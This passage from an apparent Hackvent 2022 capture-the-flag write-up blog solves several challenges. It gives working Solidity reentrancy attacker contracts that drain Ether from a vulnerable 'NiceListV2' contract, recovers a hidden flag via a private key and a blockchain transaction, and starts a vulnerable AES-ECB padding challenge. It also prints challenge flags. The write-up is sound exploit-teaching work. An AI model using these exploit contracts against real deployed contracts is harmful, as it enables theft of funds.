_buyIn(address user, uint256 amount) private {\n        uint256 userBuyInAmount = buyIns[user] + amount;\n        if (\n            userBuyInAmount > buyInAmount - 1 &amp;&amp;\n            niceListV2[user] != christmasTimestamp\n        ) {\n            niceListV2[user] = christmasTimestamp;\n            userBuyInAmount -= buyInAmount;\n            emit NiceListV2Entered(user);\n        }\n        emit BuyIn(user, amount);\n        buyIns[user] = userBuyInAmount;\n    }\n\n    \/\/ @notice Checks if the user is nice\n    \/\/ @param address user User to check\n    function isNice(address user) external view returns (bool) {\n        return niceListV2[user] == christmasTimestamp;\n    }\n\n    \/\/ @notice Withdraw the remaning buy-in from the contract in SANTA coins\n    \/\/ @param uint256 amount How many coins should be withdrawn\n    function withdrawAsCoins(uint256 amount) external {\n        if (amount == 0) {\n            revert WithdrawFailed(\"Amount is 0\");\n        }\n\n        uint256 userBuyIn = buyIns[msg.sender];\n        if (userBuyIn &lt; amount) {\n            revert NotEnoughFunds(amount, userBuyIn);\n        }\n        santaCoin.transfer(msg.sender, amount);\n        buyIns[msg.sender] = userBuyIn - amount;\n        emit UserWithdraw(msg.sender, amount, false);\n    }\n\n    \/\/ @notice Withdraw the remaning buy-in from the contract in ETH\n    \/\/ @param uint256 amount How many ETH should be withdrawn\n    function withdrawAsEther(uint256 amount) external nonReentrant {\n        if (amount == 0) {\n            revert WithdrawFailed(\"Amount is 0\");\n        }\n\n        uint256 userBuyIn = buyIns[msg.sender];\n        if (userBuyIn &lt; amount) {\n            revert NotEnoughFunds(amount, userBuyIn);\n        }\n        santaCoin.sellCoins(amount);\n        (bool success, ) = payable(msg.sender).call{value: amount}(\"\");\n        if (!success) {\n            revert WithdrawFailed(\"External call failed\");\n        }\n        buyIns[msg.sender] = userBuyIn - amount;\n        emit UserWithdraw(msg.sender, amount, true);\n    }\n\n    receive() external payable {}\n}<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.9;\n\nimport \"@openzeppelin\/contracts\/token\/ERC20\/ERC20.sol\";\n\ncontract SantaCoin is ERC20 {\n    event CoinsBought(address who, uint256 amount);\n    event CoinsSold(address who, uint256 amount);\n\n    constructor() ERC20(\"SantaCoin\", \"SANTA\") {}\n\n    function buyCoins() external payable {\n        _mint(msg.sender, msg.value);\n        emit CoinsBought(msg.sender, msg.value);\n    }\n\n    function sellCoins(uint256 amount) external {\n        _burn(msg.sender, amount);\n        (bool success, ) = payable(msg.sender).call{value: amount}(\"\");\n        require(success, \"Failed to transfer\");\n        emit CoinsSold(msg.sender, amount);\n    }\n}<\/pre>\n\n\n\n<p>Re-Entrancy vulnerabilities occur when a smart contract calls an external contract, and the external contract calls the original contract again before the first call has been completed. In these contracts, we see that there is even a protection mechanism against this kind of vulnerability. When examining the contract NiceListV2.sol closely, we can see that the function &#8220;withdrawAsCoins&#8221; lacks this protection. On my first try, I couldn&#8217;t exploit this. But then, during a discussion with a fellow hacker, we discovered how to exploit the flaw in the code.&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>We buy some Santa coins and do a BuyIn into the NiceListV2 contract.&nbsp;<\/li>\n\n\n\n<li>Then we sell the coins through the &#8220;withdrawAsEther&#8221; again.<\/li>\n\n\n\n<li>When the money is sent to our contract, we can use the fallback or the receive functions to call &#8220;withdrawAsCoins&#8221; again.&nbsp;<\/li>\n\n\n\n<li>And we get paid double.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p>I created a smart contract to exploit this vulnerability:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">pragma solidity ^0.8.9;\n\nimport \".\/SantaCoin.sol\";\nimport \".\/NiceListV2.sol\";\n\ncontract ReentrantAttacker {\n    SantaCoin public santaCoin;\n    NiceListV2 public niceList;\n    uint256 public buyInAmount; \n\n    constructor() {\n        santaCoin = SantaCoin(0xA3F7Cd82653e5B1fC3D7AA13A4A6BF7B4166C505);\n        niceList = NiceListV2(payable(address(0x34283d0374b04C7e755A0f3458c73A17735F7A1f)));\n        \/\/needed so the NiceList contract is allowed to transfer funds in our name - Otherwise we get an \"Allowance Insufficient\" Exception\n        santaCoin.approve(0x34283d0374b04C7e755A0f3458c73A17735F7A1f, 900000000000000000000000000);\n        buyInAmount = getAmountInWei(1);\n    }\n\n    function getAmountInWei(uint256 amount) private view returns (uint256){\n        return amount * 100000000000000000;\n    }\n\n    function startAttack() external payable  {\n        uint balance = getAmountInWei(1);\n        santaCoin.buyCoins{value : balance}();\n        niceList.buyIn(balance);\n        niceList.withdrawAsEther(balance);\n    }\n\n    receive() external payable{\n        niceList.withdrawAsCoins(buyInAmount);\n    }\n\n    fallback() external payable{\n        niceList.withdrawAsCoins(buyInAmount);\n    }\n\n    function getBalance() public view returns (uint) {\n        return address(this).balance;\n    }\n\n    function getSantaBalance() public view returns (uint) {\n        return santaCoin.balanceOf(address(this));\n    }\n}<\/pre>\n\n\n\n<p>We can verify that the exploit works in the print screen below. We send 1 Ether to the contract and execute the function startAttack(). After execution, we have 1 Ether on our contract and 1 Santa coin.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-86.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"811\" height=\"1024\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-86-811x1024.png\" alt=\"\" class=\"wp-image-2102\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-86-811x1024.png 811w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-86-238x300.png 238w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-86-768x970.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-86.png 1179w\" sizes=\"auto, (max-width: 811px) 100vw, 811px\" \/><\/a><\/figure>\n\n\n\n<p>I extend my smart contract with another attack function and add a loop, so we get faster to the 100 Ether we need.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">pragma solidity ^0.8.9;\n\nimport \".\/SantaCoin.sol\";\nimport \".\/NiceListV2.sol\";\n\ncontract ReentrantAttacker {\n    SantaCoin public santaCoin;\n    NiceListV2 public niceList;\n    uint256 public buyInAmount; \n\n    constructor() {\n        santaCoin = SantaCoin(0x01e8B644ccAb4134B07B27e016923F4365f83C5e);\n        niceList = NiceListV2(payable(address(0xc7f8c86B15262FbC00076C94bcEE0Be174e2789E)));\n        \/\/needed so the NiceList contract is allowed to transfer funds in our name - Otherwise we get an \"Allowance Insufficient\" Exception\n        santaCoin.approve(0xc7f8c86B15262FbC00076C94bcEE0Be174e2789E, 900000000000000000000000000);\n        buyInAmount = 100000000000000000;\n    }\n\n    function attack() external payable  {\n        uint balance = buyInAmount;\n        santaCoin.buyCoins{value : balance}();\n        niceList.buyIn(balance);\n        niceList.withdrawAsEther(balance);\n    }\n\n    function attack(uint256 amount) external {\n        buyInAmount = amount;\n        for (int i = 0; i &lt; 36; i++){\n            \n            santaCoin.buyCoins{value : amount}();\n            niceList.buyIn(amount);\n            niceList.withdrawAsEther(amount);\n        }\n    }\n\n    receive() external payable{\n        niceList.withdrawAsCoins(buyInAmount);\n    }\n\n    fallback() external payable{\n        niceList.withdrawAsCoins(buyInAmount);\n    }\n\n    function getBalance() public view returns (uint) {\n        return address(this).balance;\n    }\n\n    function getSantaBalance() public view returns (uint) {\n        return santaCoin.balanceOf(address(this));\n    }\n\n    function getOnNiceList(uint256 amount) external {\n        niceList.buyIn(amount);\n    }\n}<\/pre>\n\n\n\n<p>With the new contract, we can get 100 Ether with three transactions. And we can confirm that our smart contract is on the nice list in NiceListV2.sol.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-87.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"774\" height=\"1024\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-87-774x1024.png\" alt=\"\" class=\"wp-image-2103\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-87-774x1024.png 774w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-87-227x300.png 227w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-87-768x1016.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-87.png 800w\" sizes=\"auto, (max-width: 774px) 100vw, 774px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-88.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"794\" height=\"452\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-88.png\" alt=\"\" class=\"wp-image-2104\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-88.png 794w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-88-300x171.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-88-768x437.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-88-500x285.png 500w\" sizes=\"auto, (max-width: 794px) 100vw, 794px\" \/><\/a><\/figure>\n\n\n\n<p>But we get no flag?!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-89.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"563\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-89-1024x563.png\" alt=\"\" class=\"wp-image-2105\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-89-1024x563.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-89-300x165.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-89-768x422.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-89-500x275.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-89.png 1155w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>We get no flag because the website checks if our wallet, e.g. the wallet&#8217;s public key, is on the nice list. The website does not know our contract&#8217;s address. The last step requires us to transfer all funds to the private wallet and, from there, call the buyIn method. We can only do so if we disable our hack in the callback\/fallback method. And we also need to implement a function to payout the Ether:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">pragma solidity ^0.8.9;\n\nimport \".\/SantaCoin.sol\";\nimport \".\/NiceListV2.sol\";\n\ncontract ReentrantAttacker {\n    SantaCoin public santaCoin;\n    NiceListV2 public niceList;\n    uint256 public buyInAmount; \n    bool isHacking = true;\n\n    constructor() {\n        santaCoin = SantaCoin(0x7A3ae13A68ecF94e830023ba745fd566ed22ee1d);\n        niceList = NiceListV2(payable(address(0xb1fc74Fb3162994FF8B3B526B0Cd093348A8ed4D)));\n        \/\/needed so the NiceList contract is allowed to transfer funds in our name - Otherwise we get an \"Allowance Insufficient\" Exception\n        santaCoin.approve(0xb1fc74Fb3162994FF8B3B526B0Cd093348A8ed4D, 900000000000000000000000000);\n        buyInAmount = 100000000000000000;\n    }\n\n    function attack() external payable  {\n        uint balance = buyInAmount;\n        santaCoin.buyCoins{value : balance}();\n        niceList.buyIn(balance);\n        niceList.withdrawAsEther(balance);\n    }\n\n    function attack(uint256 amount) external {\n        buyInAmount = amount;\n        for (int i = 0; i &lt; 36; i++){\n            \n            santaCoin.buyCoins{value : amount}();\n            niceList.buyIn(amount);\n            niceList.withdrawAsEther(amount);\n        }\n    }\n\n    receive() external payable{\n        if (isHacking) {\n         niceList.withdrawAsCoins(buyInAmount);\n        }\n    }\n\n    fallback() external payable{\n        if (isHacking) {\n         niceList.withdrawAsCoins(buyInAmount);\n        }\n    }\n\n    function getBalance() public view returns (uint) {\n        return address(this).balance;\n    }\n\n    function getSantaBalance() public view returns (uint) {\n        return santaCoin.balanceOf(address(this));\n    }\n\n    function getOnNiceList(uint256 amount) external {\n        niceList.buyIn(amount);\n    }\n\n    function sellCoins(uint256 amount) external {\n        santaCoin.sellCoins(amount);\n    }\n\n    function toggleHack() external {\n        isHacking = !isHacking;\n    }\n\n    function withdrawAll(address payable _to) public {\n        _to.transfer(address(this).balance);\n    }\n}<\/pre>\n\n\n\n<p>We can now extract all Ether to our wallet by doing the following steps:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Repeat the attack to get &gt;100 Santa<\/li>\n\n\n\n<li>Disable the hack: toggleHack<\/li>\n\n\n\n<li>Sell all coins: sellCoins<\/li>\n\n\n\n<li>Withdraw all funds: Enter wallet address<\/li>\n<\/ul>\n\n\n\n<p>In the last step, we manually buy Santa with the function buyCoins() on the SantaCoin contract. Then we use the function buyIn() from NiceListV2. But to be able to do so, we need to set the allowance on SantaCoin for our NiceListV2 contract &#8211; the same as we did in the contract code above, but this time we are not interacting through our implemented contract.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-91.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"795\" height=\"326\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-91.png\" alt=\"\" class=\"wp-image-2107\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-91.png 795w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-91-300x123.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-91-768x315.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-91-500x205.png 500w\" sizes=\"auto, (max-width: 795px) 100vw, 795px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-92.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"802\" height=\"237\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-92.png\" alt=\"\" class=\"wp-image-2108\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-92.png 802w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-92-300x89.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-92-768x227.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-92-500x148.png 500w\" sizes=\"auto, (max-width: 802px) 100vw, 802px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-93.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"797\" height=\"249\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-93.png\" alt=\"\" class=\"wp-image-2109\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-93.png 797w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-93-300x94.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-93-768x240.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-93-500x156.png 500w\" sizes=\"auto, (max-width: 797px) 100vw, 797px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-94.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"586\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-94-1024x586.png\" alt=\"\" class=\"wp-image-2110\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-94-1024x586.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-94-300x172.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-94-768x439.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-94-500x286.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-94.png 1185w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{__N1c3__You__ARe__Ind33d__}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.H3] Ruprecht&#8217;s Secret<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"832\" height=\"129\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-99.png\" alt=\"\" class=\"wp-image-2128\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-99.png 832w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-99-300x47.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-99-768x119.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-99-500x78.png 500w\" sizes=\"auto, (max-width: 832px) 100vw, 832px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">T2theSwgeW91IGZvdW5kIG1lLiBCdXQgeW91IGtub3cgd2hhdCB5b3UnbGwgbmV2ZXIgZmluZD8gVGhlIGhpZGRlbiBmbGFnIGluIG9uZSBvZiB0aGUgaGFyZCBjaGFsbGVuZ2VzIQ==<\/pre>\n\n\n\n<p>There is no 24h bonus on the hidden challenges!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Hints<\/h2>\n\n\n\n<p>Something that should be kept secret isn&#8217;t so secret after all. Something can be used in different ways to achieve different results. Something has to be in a certain size. What is something?<\/p>\n\n\n\n<p>The flag is not in the docker container The flag is on another chain<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>We can reuse the flag of the challenge from today to get the hidden flag as well. The flag itself is a private key of a wallet address. We first <a rel=\"noreferrer noopener\" href=\"https:\/\/gchq.github.io\/CyberChef\/#recipe=To_Hex('None',0)&amp;input=SFYyMntfX04xYzNfX1lvdV9fQVJlX19JbmQzM2RfX30\" target=\"_blank\">transform the flag to its hex representation<\/a> and import this into our Metamask wallet. From the Metamask wallet, we can copy the public key &#8220;0x65cCa9C197f6cF1e38628E4dA7305D924466e4fc&#8221; and <a rel=\"noreferrer noopener\" href=\"https:\/\/etherscan.io\/address\/0x65cCa9C197f6cF1e38628E4dA7305D924466e4fc\" target=\"_blank\">search on Etherscan for transactions<\/a>. <\/p>\n\n\n\n<p>Eventually, we find the following transaction:<br><a href=\"https:\/\/goerli.etherscan.io\/tx\/0xb86d27740bec51d186353a5a9d472dcab6ca122becf129d8840c181f5d6de912\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/goerli.etherscan.io\/tx\/0xb86d&#8230;<\/a><\/p>\n\n\n\n<p>We copy the input data, transform it from hex to text with <a href=\"https:\/\/gchq.github.io\/CyberChef\/#recipe=From_Hex('Auto')&amp;input=MHg1NzY1Njk2ODZlNjE2MzY4NzQ3MzZkNjE2ZTZlMGQwYTUzNjE2NzIwNmQ2OTcyMmMyMDc3Njk2NTczNmYyMDYyNjk3Mzc0MjA2NDc1MjA3MzZmMjA3MzYzNjg2YzYxNzUzZjBkMGE1NzZmNjg2NTcyMjA2YjY1NmU2ZTczNzQyMDY0NzUyMDY3NjE2ZTdhMjA2NzY1NmU2MTc1MGQwYTQ0NjU2ZTIwNTc2NTY5Njg2ZTYxNjM2ODc0NzM3Nzc1NmU3MzYzNjgyMDc2NmY2ZTIwNmE2NTY0NjU2ZDIwNGI2OTZlNjQzZjIwMjg1NzY1Njk2ODZlNjE2MzY4NzQ3MzZkNjE2ZTZlMjkwZDBhNDQ2MTczNzMyMDY5NjM2ODIwNzM2ZjIwNjc2NTcyNmUyMDY1Njk2ZTIwNDY2MTY4NzI3MjYxNjQyMDZkZjY2MzY4NzQwZDBhNDc2NTZjNjI2NTIwNTM3NDcyNjU2OTY2NjU2ZTIwNzdlNDcyMjc2ZTIwNmQ2OTcyMjA3MjY1NjM2ODc0MGQwYTU1NmU2NDIwNTM3MDY1Njk2MzY4NjU2ZTJjMjA2NDY5NjUyMDc3Njk2NTIwNTM2OTZjNjI2NTcyMjA3MzY5NmU2NDBkMGE0YjY1Njk2ZTIwNTc2NTY3MjA2OTczNzQyMDY0Njk3MjIwNjk2ZDIwNTM2MzY4NmM2OTc0NzQ2NTZlMjA2YTY1MjA3YTc1MjA3NzY1Njk3NDBkMGE0ZjYyMjA2ZTYxNjgyYzIwNmY2MjIwNjY2NTcyNmUyYzIwNjI2NTczNjM2ODY1NmU2YjczNzQyMDY0NzUyMDYxNmM2YzY1MjA0YjY5NmU2NDY1NzIyMDY3NjU3MjZlMGQwYTRhNjU3NDdhNzQyMDdhNzU3MjIwNTc2NTY5Njg2ZTYxNjM2ODc0NzM3YTY1Njk3NDIwMjg0NDY1NzIyMDU3NjU2OTY4NmU2MTYzNjg3NDczNmQ2MTZlNmUyOTJjMjA3NzY1NmU2ZTIwNjU3MzIwNzM2MzY4NmU2NTY5NzQyMDI4NGI2ZjZkNmQ3NDIwNjI2MTZjNjQyMDYxNmUyOTBkMGE1NTZlNjQyMDYxNmM2YzY1NzMyMDc3NjU2OWRmMjA2OTczNzQyMDc3NjU2OTc0MjA3NTZlNjQyMDYyNzI2NTY5NzQyMTBkMGE1NzY1Njk2ODZlNjE2MzY4NzQ3MzZkNjE2ZTZlMmMyMDY5NjM2ODIwNjg2MTYyMjcyMDY0Njk3MjIwNjU2OTZlNjU2ZTIwNmM2MTZlNjc2NTZlMjA0MjcyNjk2NTY2MjA2NzY1NzM2MzY4NzI2OTY1NjI2NTZlMGQwYTQ0NjE3MzczMjA2NDY5NjM2ODIwNjE2YzZjNjUyMDRiNjk2ZTY0NjU3MjIwNmM2OTY1NjI2NTZlMmMyMDc1NmU2NDIwNjk2MzY4MjA2ODZmNjY2NjI3MmMyMDY0NzUyMDZjNjk2NTYyNzM3NDIwNjE3NTYzNjgyMDZkNjk2MzY4MjAwZDBhMGQwYTQ5NjM2ODIwNzc2NTY5ZGYyYzIwNjU3MzIwNjk3Mzc0MjA3MzZmNzc2NTY5NzQyMDczNjM2ODZmNmUyMDYyNjE2YzY0MGQwYTQ0NjE3MzczMjA2OTZlMjA2NDY1NzIyMDU3Njk2ZTc0NjU3MjZlNjE2MzY4NzQyYzIwNzM2ZjIwNmI2MTZjNzQwZDBhNGI2OTZlNjQ2NTcyNmM2MTYzNjg2NTZlMjA2YzYxNzU3NDIwNjU3MjczNjM2ODYxNmM2Yzc0MGQwYTBkMGE0NjRjNDE0NzNhMjA0ODU2MzIzMjdiNTczMzMxNjg0ZTM0NDM2ODc0MzU2ZDM0NGU2ZTVmMjY0MzMwMmU1ZjRiNDc3ZA\" target=\"_blank\" rel=\"noreferrer noopener\">Cyberchef and get the flag<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{W31hN4Cht5m4Nn_&amp;C0._KG}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.20] \u00a7 1337: Use Padding \ud83d\udcdd<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"825\" height=\"124\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-95.png\" alt=\"\" class=\"wp-image-2113\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-95.png 825w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-95-300x45.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-95-768x115.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-95-500x75.png 500w\" sizes=\"auto, (max-width: 825px) 100vw, 825px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa has written an application to encrypt some secrets he wants to hide from the outside world. Only he and his elves, who have access too all the keys used, can decrypt the messages \ud83d\udd10.<\/p>\n\n\n\n<p>Santa&#8217;s friends Alice and Bob have suggested that the application has a padding vulnerability\u2757, so Santa fixed it \ud83c\udf85. This means it&#8217;s not vulnerable anymore, right\u2757\u2753<\/p>\n\n\n\n<p>Santa has also written a concept sheet of the encryption process:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-96.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"451\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-96-1024x451.png\" alt=\"\" class=\"wp-image-2114\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-96-1024x451.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-96-300x132.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-96-768x338.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-96-1536x677.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-96-2048x903.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-96-500x220.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>Source Code:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/usr\/bin\/env python3\n\nfrom Crypto.Cipher import AES\nfrom os import urandom\n\n# pad block size to 16, zfill() fills on left. Invert the string to fill on right, then invert back.\ndef pad(msg):\n    if len(msg) % 16 != 0:\n        msg = msg[::-1].zfill(len(msg) - len(msg) % 16 + 16)[::-1]\n    return msg\n\nflag = open('flag.txt').read().strip()\n\nwhile True:\n    aes = AES.new(urandom(16), AES.MODE_ECB)\n    msg = input(\"Enter access code:\\n\")\n    enc = pad(msg) + pad(flag)\n    enc = aes.encrypt(pad(enc.encode()))\n    print(enc.hex())\n\n    retry = input(\"Do you want to try again [y\/n]:\\n\")\n    if retry != \"y\":\n        break<\/pre>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>kuyaya<\/strong>. He lives in the illusion where he thinks people enjoy solving cryptography challenges.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>The challenge of this day felt more manageable in the beginning. But in the end, it wasn&#8217;t, as finding the correct padding was a real pain. \ud83e\udd75<\/p>\n\n\n\n<p>The problem with <a rel=\"noreferrer noopener\" href=\"https:\/\/en.wikipedia.org\/wiki\/Block_cipher_mode_of_operation#Electronic_Codebook_(ECB)\" target=\"_blank\">AES-ECB<\/a> is that the clear text will be split up into blocks, and each block is encrypted with the same key. We get the same encryption result if we generate two blocks with the same content. See the image for clarification.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"428\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-154-1024x428.png\" alt=\"\" class=\"wp-image-2231\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-154-1024x428.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-154-300x125.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-154-768x321.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-154-500x209.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-154.png 1199w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"428\" 